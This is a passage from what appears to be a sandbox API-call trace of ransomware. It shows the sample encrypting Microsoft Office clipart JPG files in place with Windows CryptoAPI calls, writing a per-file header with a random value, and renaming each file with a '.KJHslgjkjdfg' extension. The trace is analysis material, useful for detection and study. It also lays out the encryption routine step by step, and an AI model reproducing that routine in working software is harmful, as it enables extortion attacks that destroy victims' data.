hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.447] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.447] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3ee3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3ee3, lpOverlapped=0x0) returned 1 [0183.448] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0) returned 1 [0183.448] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.448] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ef0, lpOverlapped=0x0) returned 1 [0183.448] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.449] SetEndOfFile (hFile=0x114) returned 1 [0183.451] GetProcessHeap () returned 0x2a0000 [0183.451] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.451] GetProcessHeap () returned 0x2a0000 [0183.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.kjhslgjkjdfg")) returned 1 [0183.453] CloseHandle (hObject=0x114) returned 1 [0183.453] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341534.JPG", cAlternateFileName="")) returned 1 [0183.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.455] GetProcessHeap () returned 0x2a0000 [0183.455] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.455] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.455] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.457] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.457] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.457] GetProcessHeap () returned 0x2a0000 [0183.457] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.458] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.458] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.458] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.458] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.458] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.459] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f8a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f8a, lpOverlapped=0x0) returned 1 [0183.460] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f90) returned 1 [0183.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.460] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f90, lpOverlapped=0x0) returned 1 [0183.460] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.460] SetEndOfFile (hFile=0x114) returned 1 [0183.463] GetProcessHeap () returned 0x2a0000 [0183.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.463] GetProcessHeap () returned 0x2a0000 [0183.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.kjhslgjkjdfg")) returned 1 [0183.465] CloseHandle (hObject=0x114) returned 1 [0183.465] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341551.JPG", cAlternateFileName="")) returned 1 [0183.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.466] GetProcessHeap () returned 0x2a0000 [0183.466] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.466] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.466] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.466] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0183.469] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.469] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.469] GetProcessHeap () returned 0x2a0000 [0183.469] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.469] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.469] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.469] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.469] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.470] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.470] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.470] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.470] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.470] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.470] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5a56, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5a56, lpOverlapped=0x0) returned 1 [0183.471] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5a60, dwBufLen=0x5a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5a60) returned 1 [0183.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.472] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5a60, lpOverlapped=0x0) returned 1 [0183.472] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.472] SetEndOfFile (hFile=0x114) returned 1 [0183.475] GetProcessHeap () returned 0x2a0000 [0183.475] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.475] GetProcessHeap () returned 0x2a0000 [0183.475] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.kjhslgjkjdfg")) returned 1 [0183.477] CloseHandle (hObject=0x114) returned 1 [0183.477] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341554.JPG", cAlternateFileName="")) returned 1 [0183.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.479] GetProcessHeap () returned 0x2a0000 [0183.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.479] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.479] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0183.482] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.482] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.482] GetProcessHeap () returned 0x2a0000 [0183.482] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.483] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.483] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.483] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.483] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.483] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.484] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.484] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.484] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.484] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.484] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6f43, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6f43, lpOverlapped=0x0) returned 1 [0183.531] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f50, dwBufLen=0x6f50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f50) returned 1 [0183.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.531] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6f50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6f50, lpOverlapped=0x0) returned 1 [0183.532] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.532] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.532] SetEndOfFile (hFile=0x114) returned 1 [0183.535] GetProcessHeap () returned 0x2a0000 [0183.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.535] GetProcessHeap () returned 0x2a0000 [0183.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.kjhslgjkjdfg")) returned 1 [0183.536] CloseHandle (hObject=0x114) returned 1 [0183.536] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1 [0183.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.537] GetProcessHeap () returned 0x2a0000 [0183.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.538] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.538] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.541] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.541] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.541] GetProcessHeap () returned 0x2a0000 [0183.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.541] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.541] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.541] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.541] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.542] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.542] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.542] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.542] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.542] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.542] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6aa8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6aa8, lpOverlapped=0x0) returned 1 [0183.544] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ab0, dwBufLen=0x6ab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6ab0) returned 1 [0183.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.544] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6ab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6ab0, lpOverlapped=0x0) returned 1 [0183.544] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 